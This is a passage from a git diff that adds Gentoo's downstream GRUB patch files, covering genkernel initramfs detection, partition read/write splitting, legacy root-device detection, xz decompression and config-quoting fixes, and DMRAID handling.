++By not specifying @var{UUID}, the command will scan partitions on 
++attached devices and will display the device, partition type and 
++UUID for each recognised filesystem.
++@end deffn
++
+ 
+ @node vbeprobe
+ @subsection vbeprobe
diff --git a/sys-boot/grub/files/grub-1.96-genkernel.patch b/sys-boot/grub/files/grub-1.96-genkernel.patch
new file mode 100644
index 00000000..e06f3835
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.96-genkernel.patch
@@ -0,0 +1,19 @@
+--- util/grub.d/10_linux.in
++++ util/grub.d/10_linux.in
+@@ -61,7 +61,7 @@
+ EOF
+ }
+ 
+-list=`for i in /boot/vmlinu[xz]-* /vmlinu[xz]-* ; do
++list=`for i in /boot/kernel-* /boot/vmlinu[xz]-* /vmlinu[xz]-* ; do
+         if grub_file_is_not_garbage "$i" ; then echo -n "$i " ; fi
+       done`
+ 
+@@ -78,6 +78,7 @@
+   initrd=
+   for i in "initrd.img-${version}" "initrd-${version}.img" \
+ 	   "initrd-${version}" "initrd.img-${alt_version}" \
++	   "initramfs-genkernel-${version}" "initramfs-genkernel-${alt_version}" \
+ 	   "initrd-${alt_version}.img" "initrd-${alt_version}"; do
+     if test -e "${dirname}/${i}" ; then
+       initrd="$i"
diff --git a/sys-boot/grub/files/grub-1.97-genkernel.patch b/sys-boot/grub/files/grub-1.97-genkernel.patch
new file mode 100644
index 00000000..ae64ae45
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.97-genkernel.patch
@@ -0,0 +1,28 @@
+--- grub-1.97.2.orig/util/grub.d/10_linux.in
++++ grub-1.97.2/util/grub.d/10_linux.in
+@@ -49,7 +49,7 @@ menuentry "$1" {
+ EOF
+   prepare_grub_to_access_device ${GRUB_DEVICE_BOOT} | sed -e "s/^/\t/"
+   cat << EOF
+-	linux	${rel_dirname}/${basename} root=${linux_root_device_thisversion} ro $2
++	linux	${rel_dirname}/${basename} ro $2
+ EOF
+   if test -n "${initrd}" ; then
+     cat << EOF
+@@ -61,7 +61,7 @@ EOF
+ EOF
+ }
+ 
+-list=`for i in /boot/vmlinu[xz]-* /vmlinu[xz]-* ; do
++list=`for i in /boot/kernel-* /boot/vmlinu[xz]-* /vmlinu[xz]-* ; do
+         if grub_file_is_not_garbage "$i" ; then echo -n "$i " ; fi
+       done`
+ 
+@@ -78,6 +78,7 @@ while [ "x$list" != "x" ] ; do
+   initrd=
+   for i in "initrd.img-${version}" "initrd-${version}.img" \
+ 	   "initrd-${version}" "initrd.img-${alt_version}" \
++	   "initramfs-genkernel-${version}" "initramfs-genkernel-${alt_version}" \
+ 	   "initrd-${alt_version}.img" "initrd-${alt_version}"; do
+     if test -e "${dirname}/${i}" ; then
+       initrd="$i"
diff --git a/sys-boot/grub/files/grub-1.97-hostdisk.patch b/sys-boot/grub/files/grub-1.97-hostdisk.patch
new file mode 100644
index 00000000..6eb7fe48
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.97-hostdisk.patch
@@ -0,0 +1,60 @@
+--- util/hostdisk.c	2010-01-25 17:04:22 +0000
++++ util/hostdisk.c	2010-01-31 11:52:27 +0000
+@@ -336,7 +336,8 @@
+     char dev[PATH_MAX];
+ 
+     strcpy (dev, map[disk->id].device);
+-    if (disk->partition && strncmp (map[disk->id].device, "/dev/", 5) == 0)
++    if (disk->partition && sector >= disk->partition->start
++	&& strncmp (map[disk->id].device, "/dev/", 5) == 0)
+       is_partition = linux_find_partition (dev, disk->partition->start);
+ 
+     /* Open the partition.  */
+@@ -490,6 +491,23 @@
+ {
+   int fd;
+ 
++  /* Split pre-partition and partition reads.  */
++  if (disk->partition && sector < disk->partition->start
++      && sector + size > disk->partition->start)
++    {
++      grub_err_t err;
++      err = grub_util_biosdisk_read (disk, sector,
++				     disk->partition->start - sector,
++				     buf);
++      if (err)
++	return err;
++
++      return grub_util_biosdisk_read (disk, disk->partition->start,
++				      size - (disk->partition->start - sector),
++				      buf + ((disk->partition->start - sector)
++					     << GRUB_DISK_SECTOR_BITS));
++    }
++
+   fd = open_device (disk, sector, O_RDONLY);
+   if (fd < 0)
+     return grub_errno;
+@@ -527,6 +545,23 @@
+ {
+   int fd;
+ 
++  /* Split pre-partition and partition writes.  */
++  if (disk->partition && sector < disk->partition->start
++      && sector + size > disk->partition->start)
++    {
++      grub_err_t err;
++      err = grub_util_biosdisk_write (disk, sector,
++				      disk->partition->start - sector,
++				      buf);
++      if (err)
++	return err;
++
++      return grub_util_biosdisk_write (disk, disk->partition->start,
++				       size - (disk->partition->start - sector),
++				       buf + ((disk->partition->start - sector)
++					      << GRUB_DISK_SECTOR_BITS));
++    }
++
+   fd = open_device (disk, sector, O_WRONLY);
+   if (fd < 0)
+     return grub_errno;
diff --git a/sys-boot/grub/files/grub-1.97-vga-deprecated.patch b/sys-boot/grub/files/grub-1.97-vga-deprecated.patch
new file mode 100644
index 00000000..16b2ef7e
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.97-vga-deprecated.patch
@@ -0,0 +1,12 @@
+--- grub-1.97.2.orig/util/grub.d/00_header.in
++++ grub-1.97.2/util/grub.d/00_header.in
+@@ -76,6 +76,9 @@ case x${GRUB_TERMINAL_OUTPUT} in
+     cat << EOF
+ if loadfont `make_system_path_relative_to_its_root ${GRUB_FONT_PATH}` ; then
+   set gfxmode=${GRUB_GFXMODE}
++  # vga= is deprecated, grub2 handles this just fine
++  # making grub2 res == linux fb res
++  set gfxpayload=keep
+   insmod gfxterm
+   insmod ${GRUB_VIDEO_BACKEND}
+   if terminal_output gfxterm ; then true ; else
diff --git a/sys-boot/grub/files/grub-1.97-wallpaper-settings-support.patch b/sys-boot/grub/files/grub-1.97-wallpaper-settings-support.patch
new file mode 100644
index 00000000..3bf4ffa8
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.97-wallpaper-settings-support.patch
@@ -0,0 +1,15 @@
+diff -Nurp grub-1.97.2.orig/util/grub-mkconfig.in grub-1.97.2/util/grub-mkconfig.in
+--- grub-1.97.2.orig/util/grub-mkconfig.in	2010-01-24 19:13:30.000000000 +0100
++++ grub-1.97.2/util/grub-mkconfig.in	2010-02-17 21:01:08.762963506 +0100
+@@ -224,7 +224,10 @@ export GRUB_DEFAULT \
+   GRUB_DISABLE_LINUX_UUID \
+   GRUB_DISABLE_LINUX_RECOVERY \
+   GRUB_GFXMODE \
+-  GRUB_DISABLE_OS_PROBER
++  GRUB_DISABLE_OS_PROBER \
++  GRUB_WALLPAPER \
++  GRUB_COLOR_NORMAL \
++  GRUB_COLOR_HIGHLIGHT
+ 
+ if test "x${grub_cfg}" != "x"; then
+   rm -f ${grub_cfg}.new
diff --git a/sys-boot/grub/files/grub-1.98-add-legacy-rootfs-detection.patch b/sys-boot/grub/files/grub-1.98-add-legacy-rootfs-detection.patch
new file mode 100644
index 00000000..1fadd461
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.98-add-legacy-rootfs-detection.patch
@@ -0,0 +1,83 @@
+diff -ur grub2-orig/util/grub-mkconfig.in grub2-new/util/grub-mkconfig.in
+--- grub2-orig/util/grub-mkconfig.in	2010-01-28 15:01:46.746567396 +0100
++++ grub2-new/util/grub-mkconfig.in	2010-01-28 15:38:48.560587115 +0100
+@@ -119,8 +119,8 @@
+ fi
+ 
+ # Device containing our userland.  Typically used for root= parameter.
+-GRUB_DEVICE="`${grub_probe} --target=device /`"
+-GRUB_DEVICE_UUID="`${grub_probe} --device ${GRUB_DEVICE} --target=fs_uuid 2> /dev/null`" || true
++GRUB_DEVICE="`${grub_probe} --target=device /`" || GRUB_DEVICE="`legacy_find_root_device`"
++GRUB_DEVICE_UUID="`${grub_probe} --device ${GRUB_DEVICE} --target=fs_uuid 2> /dev/null`" || GRUB_DEVICE_UUID="`legacy_convert_to_uuid ${GRUB_DEVICE}`"
+ 
+ # Device containing our /boot partition.  Usually the same as GRUB_DEVICE.
+ GRUB_DEVICE_BOOT="`${grub_probe} --target=device /boot`"
+diff -ur grub2-orig/util/grub-mkconfig_lib.in grub2-new/util/grub-mkconfig_lib.in
+--- grub2-orig/util/grub-mkconfig_lib.in	2010-01-28 15:01:46.740383831 +0100
++++ grub2-new/util/grub-mkconfig_lib.in	2010-01-28 15:38:10.474013430 +0100
+@@ -188,3 +188,65 @@
+   done
+   echo "$a"
+ }
++
++legacy_find_root_device ()
++{
++  mount_point=$1
++
++  # Autodetect current root device
++  device=
++  if [ -f /etc/fstab ] ; then
++    device="`awk '$1!~/^#/{
++      if ($2 ~ "^/+$") { $2 = "/"; } else { sub("/*$", "", $2); }
++      if ($2 == "'"$mount_point"'"){
++        print $1;
++      }
++    }' /etc/fstab | tail -n 1`"
++  fi
++
++  if [ -n "$device" ] ; then
++    case "$device" in
++      LABEL=* | UUID=*)
++        device="`findfs $device`"
++	device="`readlink -f "$device"`"
++      ;;
++      *)
++        device=`readlink -f "$device"`
++      ;;
++    esac
++  fi
++
++  echo $device
++}
++
++legacy_convert_to_uuid()
++{
++  echo "Cannot determine uuid of root device.  Trying legacy probe method" >&2
++  local dev; dev="$1"
++  
++  convert=false
++  case "$dev" in
++    /dev/disk/*)
++      ;;
++    /dev/mapper/*)
++      ;;
++    /dev/evms/[hs]d[a-z][0-9]*)
++      convert=:
++      ;;
++    /dev/evms/*)
++      ;;
++    /dev/md[0-9]*)
++      ;;
++    /dev/*)
++      convert=:
++      ;;
++  esac
++  if $convert; then
++    if [ -b "$dev" ]; then
++      uuid="`blkid -o value -s UUID "$dev" || true`"
++    fi
++  fi
++
++  echo "$uuid"
++}
++
diff --git a/sys-boot/grub/files/grub-1.98-follow-dev-mapper-symlinks.patch b/sys-boot/grub/files/grub-1.98-follow-dev-mapper-symlinks.patch
new file mode 100644
index 00000000..aead475c
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.98-follow-dev-mapper-symlinks.patch
@@ -0,0 +1,25 @@
+--- a/util/getroot.c	2010-03-06 20:51:37.000000000 +0000
++++ b/util/getroot.c	2010-05-28 19:21:57.592307313 +0100
+@@ -222,9 +222,20 @@ find_root_device (const char *dir, dev_t
+ 	/* Ignore any error.  */
+ 	continue;
+ 
+-      if (S_ISLNK (st.st_mode))
+-	/* Don't follow symbolic links.  */
++      if (S_ISLNK (st.st_mode)) {
++#ifdef __linux__
++	if (strcmp (dir, "mapper") == 0) {
++	  /* Follow symbolic links under /dev/mapper/; the canonical name
++	     may be something like /dev/dm-0, but the names under
++	     /dev/mapper/ are more human-readable and so we prefer them if
++	     we can get them.  */
++	  if (stat (ent->d_name, &st) < 0)
++	    continue;
++	} else
++#endif /* __linux__ */
++	/* Don't follow other symbolic links.  */
+ 	continue;
++      }
+ 
+       if (S_ISDIR (st.st_mode))
+ 	{
diff --git a/sys-boot/grub/files/grub-1.98-genkernel-initramfs-single.patch b/sys-boot/grub/files/grub-1.98-genkernel-initramfs-single.patch
new file mode 100644
index 00000000..4aa6ab99
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.98-genkernel-initramfs-single.patch
@@ -0,0 +1,11 @@
+--- grub-1.99.orig/util/grub.d/10_linux.in
++++ grub-1.99/util/grub.d/10_linux.in
+@@ -192,7 +192,7 @@ while [ "x$list" != "x" ] ; do
+       "${GRUB_CMDLINE_LINUX} ${GRUB_CMDLINE_LINUX_DEFAULT}"
+   if [ "x${GRUB_DISABLE_RECOVERY}" != "xtrue" ]; then
+     linux_entry "${OS}" "${version}" true \
+-	"single ${GRUB_CMDLINE_LINUX}"
++	"single init_opts=single ${GRUB_CMDLINE_LINUX/splash=silent/splash=verbose}"
+   fi
+ 
+   list=`echo $list | tr ' ' '\n' | grep -vx $linux | tr '\n' ' '`
diff --git a/sys-boot/grub/files/grub-1.98-genkernel.patch b/sys-boot/grub/files/grub-1.98-genkernel.patch
new file mode 100644
index 00000000..8fbf39ab
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.98-genkernel.patch
@@ -0,0 +1,28 @@
+--- grub-1.98.orig/util/grub.d/10_linux.in	2010-03-06 21:51:37.000000000 +0100
++++ grub-1.98/util/grub.d/10_linux.in	2010-04-12 11:25:51.982167950 +0200
+@@ -84,7 +84,7 @@ EOF
+   printf '%s\n' "${prepare_boot_cache}"
+   cat << EOF
+ 	echo	$(printf "$(gettext "Loading Linux %s ...")" ${version})
+-	linux	${rel_dirname}/${basename} root=${linux_root_device_thisversion} ro ${args}
++	linux	${rel_dirname}/${basename} ro ${args}
+ EOF
+   if test -n "${initrd}" ; then
+     cat << EOF
+@@ -97,7 +97,7 @@ EOF
+ EOF
+ }
+ 
+-list=`for i in /boot/vmlinu[xz]-* /vmlinu[xz]-* ; do
++list=`for i in /boot/kernel-* /boot/vmlinu[xz]-* /vmlinu[xz]-* ; do
+         if grub_file_is_not_garbage "$i" ; then echo -n "$i " ; fi
+       done`
+ prepare_boot_cache=
+@@ -114,6 +114,7 @@ while [ "x$list" != "x" ] ; do
+ 
+   initrd=
+   for i in "initrd.img-${version}" "initrd-${version}.img" \
++	   "initramfs-genkernel-${version}" "initramfs-genkernel-${alt_version}" \
+ 	   "initrd-${version}" "initrd.img-${alt_version}" \
+ 	   "initrd-${alt_version}.img" "initrd-${alt_version}"; do
+     if test -e "${dirname}/${i}" ; then
diff --git a/sys-boot/grub/files/grub-1.98-wallpaper-settings-support.patch b/sys-boot/grub/files/grub-1.98-wallpaper-settings-support.patch
new file mode 100644
index 00000000..f34f393b
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.98-wallpaper-settings-support.patch
@@ -0,0 +1,15 @@
+diff -Nurp grub-1.98.orig/util/grub-mkconfig.in grub-1.98/util/grub-mkconfig.in
+--- grub-1.98.orig/util/grub-mkconfig.in	2010-03-06 21:51:37.000000000 +0100
++++ grub-1.98/util/grub-mkconfig.in	2010-04-12 11:29:28.396075050 +0200
+@@ -224,7 +224,10 @@ export GRUB_DEFAULT \
+   GRUB_GFXPAYLOAD_LINUX \
+   GRUB_DISABLE_OS_PROBER \
+   GRUB_INIT_TUNE \
+-  GRUB_SAVEDEFAULT
++  GRUB_SAVEDEFAULT \
++  GRUB_WALLPAPER \
++  GRUB_COLOR_NORMAL \
++  GRUB_COLOR_HIGHLIGHT
+ 
+ if test "x${grub_cfg}" != "x"; then
+   rm -f ${grub_cfg}.new
diff --git a/sys-boot/grub/files/grub-1.99-disable-floppies.patch b/sys-boot/grub/files/grub-1.99-disable-floppies.patch
new file mode 100644
index 00000000..6bb28626
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.99-disable-floppies.patch
@@ -0,0 +1,28 @@
+
+Author: Robert Millan
+
+An ugly kludge.  Should this be merged upstream?
+
+Index: b/grub-core/kern/emu/hostdisk.c
+===================================================================
+--- a/grub-core/kern/emu/hostdisk.c
++++ b/grub-core/kern/emu/hostdisk.c
+@@ -1077,6 +1077,18 @@
+ 	  continue;
+ 	}
+ 
++      if (! strncmp (p, "/dev/fd", sizeof ("/dev/fd") - 1))
++	{
++	  char *q = p + sizeof ("/dev/fd") - 1;
++	  if (*q >= '0' && *q <= '9')
++	    {
++	      free (map[drive].drive);
++	      map[drive].drive = NULL;
++	      grub_util_info ("`%s' looks like a floppy drive, skipping", p);
++	      continue;
++	    }
++	}
++
+ #ifdef __linux__
+       /* On Linux, the devfs uses symbolic links horribly, and that
+ 	 confuses the interface very much, so use realpath to expand
diff --git a/sys-boot/grub/files/grub-1.99-genkernel.patch b/sys-boot/grub/files/grub-1.99-genkernel.patch
new file mode 100644
index 00000000..433e583d
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.99-genkernel.patch
@@ -0,0 +1,11 @@
+--- grub-1.99.orig/util/grub.d/10_linux.in
++++ grub-1.99/util/grub.d/10_linux.in
+@@ -116,7 +116,7 @@ EOF
+   message="$(gettext_printf "Loading Linux %s ..." ${version})"
+   cat << EOF
+ 	echo	'$message'
+-	linux	${rel_dirname}/${basename} root=${linux_root_device_thisversion} ro ${args}
++	linux	${rel_dirname}/${basename} ro ${args}
+ EOF
+   if test -n "${initrd}" ; then
+     message="$(gettext_printf "Loading initial ramdisk ...")"
diff --git a/sys-boot/grub/files/grub-1.99-vga-deprecated-not-yet.patch b/sys-boot/grub/files/grub-1.99-vga-deprecated-not-yet.patch
new file mode 100644
index 00000000..d850c178
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.99-vga-deprecated-not-yet.patch
@@ -0,0 +1,14 @@
+diff -Nurp grub-1.99.orig/grub-core/loader/i386/linux.c grub-1.99/grub-core/loader/i386/linux.c
+--- grub-1.99.orig/grub-core/loader/i386/linux.c	2011-06-11 10:49:46.975998646 +0200
++++ grub-1.99/grub-core/loader/i386/linux.c	2011-06-11 11:52:14.419996325 +0200
+@@ -821,10 +821,6 @@ grub_cmd_linux (grub_command_t cmd __att
+ 	    if (! buf)
+ 	      goto fail;
+ 
+-	    grub_printf ("%s is deprecated. "
+-			 "Use set gfxpayload=%s before "
+-			 "linux command instead.\n",
+-			 argv[i], buf);
+ 	    err = grub_env_set ("gfxpayload", buf);
+ 	    grub_free (buf);
+ 	    if (err)
diff --git a/sys-boot/grub/files/grub-1.99-vga-deprecated.patch b/sys-boot/grub/files/grub-1.99-vga-deprecated.patch
new file mode 100644
index 00000000..20ea6d89
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.99-vga-deprecated.patch
@@ -0,0 +1,12 @@
+--- grub-1.99~rc1.orig/util/grub.d/00_header.in
++++ grub-1.99~rc1/util/grub.d/00_header.in
+@@ -131,6 +131,9 @@ if [ "x$gfxterm" = x1 ]; then
+ if loadfont `make_system_path_relative_to_its_root "${GRUB_FONT_PATH}"` ; then
+   set gfxmode=${GRUB_GFXMODE}
+   load_video
++  # vga= is deprecated, grub2 handles this just fine
++  # making grub2 res == linux fb res
++  set gfxpayload=keep
+   insmod gfxterm
+ fi
+ EOF
diff --git a/sys-boot/grub/files/grub-1.99-wallpaper-settings-support.patch b/sys-boot/grub/files/grub-1.99-wallpaper-settings-support.patch
new file mode 100644
index 00000000..6f3f3749
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.99-wallpaper-settings-support.patch
@@ -0,0 +1,15 @@
+diff -Nurp grub-1.99~rc1.orig/util/grub-mkconfig.in grub-1.99~rc1/util/grub-mkconfig.in
+--- grub-1.99~rc1.orig/util/grub-mkconfig.in	2010-12-01 15:45:43.000000000 +0100
++++ grub-1.99~rc1/util/grub-mkconfig.in	2011-06-08 14:37:02.209761705 +0200
+@@ -254,7 +254,10 @@ export GRUB_DEFAULT \
+   GRUB_DISABLE_OS_PROBER \
+   GRUB_INIT_TUNE \
+   GRUB_SAVEDEFAULT \
+-  GRUB_BADRAM
++  GRUB_BADRAM \
++  GRUB_WALLPAPER \
++  GRUB_COLOR_NORMAL \
++  GRUB_COLOR_HIGHLIGHT
+ 
+ if test "x${grub_cfg}" != "x"; then
+   rm -f ${grub_cfg}.new
diff --git a/sys-boot/grub/files/grub-1.99-workaround-raid-bios-bug.patch b/sys-boot/grub/files/grub-1.99-workaround-raid-bios-bug.patch
new file mode 100644
index 00000000..391c40ac
--- /dev/null
+++ b/sys-boot/grub/files/grub-1.99-workaround-raid-bios-bug.patch
@@ -0,0 +1,17 @@
+diff -Nurp grub-1.99.orig/grub-core/disk/raid.c grub-1.99/grub-core/disk/raid.c
+--- grub-1.99.orig/grub-core/disk/raid.c	2011-04-18 23:16:16.000000000 +0200
++++ grub-1.99/grub-core/disk/raid.c	2011-06-11 10:48:16.606998702 +0200
+@@ -562,13 +562,6 @@ insert_array (grub_disk_t disk, struct g
+ 			     "superfluous RAID member (%d found)",
+ 			     array->total_devs);
+ 
+-        if (array->members[new_array->index].device != NULL)
+-          /* We found multiple devices with the same number. Again,
+-             this shouldn't happen.  */
+-	  return grub_error (GRUB_ERR_BAD_DEVICE,
+-			     "found two disks with the index %d for RAID %s",
+-			     new_array->index, array->name);
+-
+         if (new_array->disk_size < array->disk_size)
+           array->disk_size = new_array->disk_size;
+         break;
diff --git a/sys-boot/grub/files/grub-2.00-20_linux_xen.patch b/sys-boot/grub/files/grub-2.00-20_linux_xen.patch
new file mode 100644
index 00000000..c83f0b04
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-20_linux_xen.patch
@@ -0,0 +1,14 @@
+Fix detection of genkernel initramfs for xen
+
+https://bugs.gentoo.org/show_bug.cgi?id=463992
+
+--- a/util/grub.d/20_linux_xen.in
++++ b/util/grub.d/20_linux_xen.in
+@@ -174,6 +174,7 @@
+ 
+ title_correction_code=
+ 
++machine=`uname -m`
+ case "$machine" in
+     i?86) GENKERNEL_ARCH="x86" ;;
+     mips|mips64) GENKERNEL_ARCH="mips" ;;
diff --git a/sys-boot/grub/files/grub-2.00-compression.patch b/sys-boot/grub/files/grub-2.00-compression.patch
new file mode 100644
index 00000000..58bc1f93
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-compression.patch
@@ -0,0 +1,84 @@
+https://bugs.gentoo.org/show_bug.cgi?id=424527
+https://savannah.gnu.org/bugs/index.php?36770
+
+=== modified file 'grub-core/lib/xzembed/xz_dec_stream.c'
+--- grub-core/lib/xzembed/xz_dec_stream.c	2012-02-29 13:56:51 +0000
++++ grub-core/lib/xzembed/xz_dec_stream.c	2012-07-22 14:27:03 +0000
+@@ -403,18 +403,25 @@
+ 	}
+ #endif
+ 
+-	do {
++	if (b->in_pos == b->in_size)
++		return XZ_OK;
++
++	if (!crc32 && s->hash_size == 0)
++		s->pos += 8;
++
++	while (s->pos < (crc32 ? 32 : s->hash_size * 8)) {
+ 		if (b->in_pos == b->in_size)
+ 			return XZ_OK;
+ 
+ #ifndef GRUB_EMBED_DECOMPRESSOR
+-		if (hash && s->hash_value[s->pos / 8] != b->in[b->in_pos++])
++		if (hash && s->hash_value[s->pos / 8] != b->in[b->in_pos])
+ 			return XZ_DATA_ERROR;
+ #endif
++		b->in_pos++;
+ 
+ 		s->pos += 8;
+ 
+-	} while (s->pos < (crc32 ? 32 : s->hash_size * 8));
++	}
+ 
+ #ifndef GRUB_EMBED_DECOMPRESSOR
+ 	if (s->hash)
+@@ -529,8 +536,6 @@
+ 			s->hash->init(s->index.hash.hash_context);
+  			s->hash->init(s->block.hash.hash_context);
+ 		}
+-		if (!s->hash)
+-			return XZ_OPTIONS_ERROR;
+ #endif
+ 	}
+ 	else
+
+=== modified file 'grub-core/normal/autofs.c'
+--- grub-core/normal/autofs.c	2012-05-01 13:26:36 +0000
++++ grub-core/normal/autofs.c	2012-07-22 14:23:46 +0000
+@@ -32,11 +32,21 @@
+ autoload_fs_module (void)
+ {
+   grub_named_list_t p;
++  int ret = 0;
++  grub_file_filter_t grub_file_filters_was[GRUB_FILE_FILTER_MAX];
++
++  grub_memcpy (grub_file_filters_was, grub_file_filters_enabled,
++	       sizeof (grub_file_filters_enabled));
++  grub_memcpy (grub_file_filters_enabled, grub_file_filters_all,
++	       sizeof (grub_file_filters_enabled));
+ 
+   while ((p = fs_module_list) != NULL)
+     {
+       if (! grub_dl_get (p->name) && grub_dl_load (p->name))
+-	return 1;
++	{
++	  ret = 1;
++	  break;
++	}
+ 
+       if (grub_errno)
+ 	grub_print_error ();
+@@ -46,7 +56,10 @@
+       grub_free (p);
+     }
+ 
+-  return 0;
++  grub_memcpy (grub_file_filters_enabled, grub_file_filters_was,
++	       sizeof (grub_file_filters_enabled));
++
++  return ret;
+ }
+ 
+ /* Read the file fs.lst for auto-loading.  */
+
diff --git a/sys-boot/grub/files/grub-2.00-config-quoting.patch b/sys-boot/grub/files/grub-2.00-config-quoting.patch
new file mode 100644
index 00000000..3b031c62
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-config-quoting.patch
@@ -0,0 +1,113 @@
+https://bugs.gentoo.org/show_bug.cgi?id=426364
+https://savannah.gnu.org/bugs/index.php?36839
+--- util/grub-mkconfig_lib.in
++++ util/grub-mkconfig_lib.in
+@@ -255,19 +255,19 @@
+   echo "$version_find_latest_a"
+ }
+ 
+-# One layer of quotation is eaten by "", the second by sed, and the third by
+-# printf; so this turns ' into \'.  Note that you must use the output of
++# One layer of quotation is eaten by "" and the second by
++# sed; so this turns ' into \'.  Note that you must use the output of
+ # this function in a printf format string.
+ 
+ grub_quote () {
+-  sed "s/'/'\\\\\\\\''/g"
++  sed "s/'/'\\\\''/g"
+ }
+ 
+ gettext_quoted () {
+-  gettext "$@" | sed "s/'/'\\\\\\\\''/g"
++  gettext "$@" | grub_quote
+ }
+ 
+-# Run the first argument through gettext_quoted, and then pass that and all
++# Run the first argument through gettext, and then pass that and all
+ # remaining arguments to printf.  This is a useful abbreviation and tends to
+ # be easier to type.
+ gettext_printf () {
+
+=== modified file 'util/grub.d/10_hurd.in'
+--- util/grub.d/10_hurd.in
++++ util/grub.d/10_hurd.in
+@@ -117,7 +117,7 @@
+       opts=
+   fi
+   sed "s/^/$submenu_indentation/" << EOF
+-	echo		'$message'
++	echo		'$(echo "$message" | grub_quote)'
+ 	multiboot	${kernel} root=device:${GRUB_DEVICE#/dev/} $opts ${GRUB_CMDLINE_GNUMACH}
+ EOF
+ 
+@@ -133,7 +133,7 @@
+   fi
+ 
+   sed "s/^/$submenu_indentation/" << EOF
+-	echo		'$message'
++	echo		'$(echo "$message" | grub_quote)'
+ 	module		/hurd/${hurd_fs}.static ${hurd_fs} $opts \\
+ 			--multiboot-command-line='\${kernel-command-line}' \\
+ 			--host-priv-port='\${host-port}' \\
+--- util/grub.d/10_illumos.in
++++ util/grub.d/10_illumos.in
+@@ -46,6 +46,7 @@
+ 		ISADIR=
+ 	fi
+ 	zfs-bootfs $($grub_mkrelpath /) ZFS_BOOTFS
++        echo '$(echo "$message" | grub_quote)'
+ 	multiboot $($grub_mkrelpath /platform/i86pc/kernel)/\$ISADIR/unix /platform/i86pc/kernel/\$ISADIR/unix -B \$ZFS_BOOTFS,console=text
+ 	module $($grub_mkrelpath /platform/i86pc)/\$ISADIR/boot_archive /platform/i86pc/\$ISADIR/boot_archive
+ }
+--- util/grub.d/10_kfreebsd.in
++++ util/grub.d/10_kfreebsd.in
+@@ -100,7 +100,7 @@
+   printf '%s\n' "${prepare_boot_cache}" | sed "s/^/$submenu_indentation/"
+   message="$(gettext_printf "Loading kernel of FreeBSD %s ..." ${version})"
+   sed "s/^/$submenu_indentation/" << EOF
+-	echo			'$message'
++	echo			'$(echo "$message" | grub_quote)'
+ 	kfreebsd		${rel_dirname}/${basename} ${args}
+ EOF
+ 
+--- util/grub.d/10_linux.in
++++ util/grub.d/10_linux.in
+@@ -134,14 +134,14 @@
+   fi
+   message="$(gettext_printf "Loading Linux %s ..." ${version})"
+   sed "s/^/$submenu_indentation/" << EOF
+-	echo	'$message'
++	echo	'$(echo "$message" | grub_quote)'
+ 	linux	${rel_dirname}/${basename} root=${linux_root_device_thisversion} ro ${args}
+ EOF
+   if test -n "${initrd}" ; then
+     # TRANSLATORS: ramdisk isn't identifier. Should be translated.
+     message="$(gettext_printf "Loading initial ramdisk ...")"
+     sed "s/^/$submenu_indentation/" << EOF
+-	echo	'$message'
++	echo	'$(echo "$message" | grub_quote)'
+ 	initrd	${rel_dirname}/${initrd}
+ EOF
+   fi
+--- util/grub.d/20_linux_xen.in
++++ util/grub.d/20_linux_xen.in
+@@ -120,16 +120,16 @@
+   xmessage="$(gettext_printf "Loading Xen %s ..." ${xen_version})"
+   lmessage="$(gettext_printf "Loading Linux %s ..." ${version})"
+   sed "s/^/$submenu_indentation/" << EOF
+-	echo	'$xmessage'
++	echo	'$(echo "$xmessage" | grub_quote)'
+ 	multiboot	${rel_xen_dirname}/${xen_basename} placeholder ${xen_args}
+-	echo	'$lmessage'
++	echo	'$(echo "$lmessage" | grub_quote)'
+ 	module	${rel_dirname}/${basename} placeholder root=${linux_root_device_thisversion} ro ${args}
+ EOF
+   if test -n "${initrd}" ; then
+     # TRANSLATORS: ramdisk isn't identifier. Should be translated.
+     message="$(gettext_printf "Loading initial ramdisk ...")"
+     sed "s/^/$submenu_indentation/" << EOF
+-	echo	'$message'
++	echo	'$(echo "$message" | grub_quote)'
+ 	module	${rel_dirname}/${initrd}
+ EOF
+   fi
diff --git a/sys-boot/grub/files/grub-2.00-dmraid.patch b/sys-boot/grub/files/grub-2.00-dmraid.patch
new file mode 100644
index 00000000..c39267ae
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-dmraid.patch
@@ -0,0 +1,28 @@
+Fix DMRAID partition handling
+
+https://bugs.gentoo.org/show_bug.cgi?id=430748
+https://savannah.gnu.org/bugs/?37073
+http://bzr.savannah.gnu.org/lh/grub/trunk/grub/revision/4858
+
+=== modified file 'util/getroot.c'
+--- util/getroot.c	2013-04-12 20:37:59 +0000
++++ util/getroot.c	2013-04-15 06:37:13 +0000
+@@ -1956,6 +1956,7 @@
+ 	      grub_util_info ("dm_tree_find_node failed");
+ 	      goto devmapper_out;
+ 	    }
++	reiterate:
+ 	  node_uuid = dm_tree_node_get_uuid (node);
+ 	  if (! node_uuid)
+ 	    {
+@@ -2030,6 +2031,9 @@
+ 	      goto devmapper_out;
+ 	    }
+ 	  mapper_name = child_name;
++	  *is_part = 1;
++	  node = child;
++	  goto reiterate;
+ 
+ devmapper_out:
+ 	  if (! mapper_name && node)
+
diff --git a/sys-boot/grub/files/grub-2.00-freebsd.patch b/sys-boot/grub/files/grub-2.00-freebsd.patch
new file mode 100644
index 00000000..bcfbf263
--- /dev/null
+++ b/sys-boot/grub/files/grub-2.00-freebsd.patch
@@ -0,0 +1,382 @@
+Taken from
+http://bzr.savannah.gnu.org/lh/grub/trunk/grub/revision/4556
+http://bzr.savannah.gnu.org/lh/grub/trunk/grub/revision/4584
+http://bzr.savannah.gnu.org/lh/grub/trunk/grub/revision/4624
+http://bzr.savannah.gnu.org/lh/grub/trunk/grub/revision/4625
+
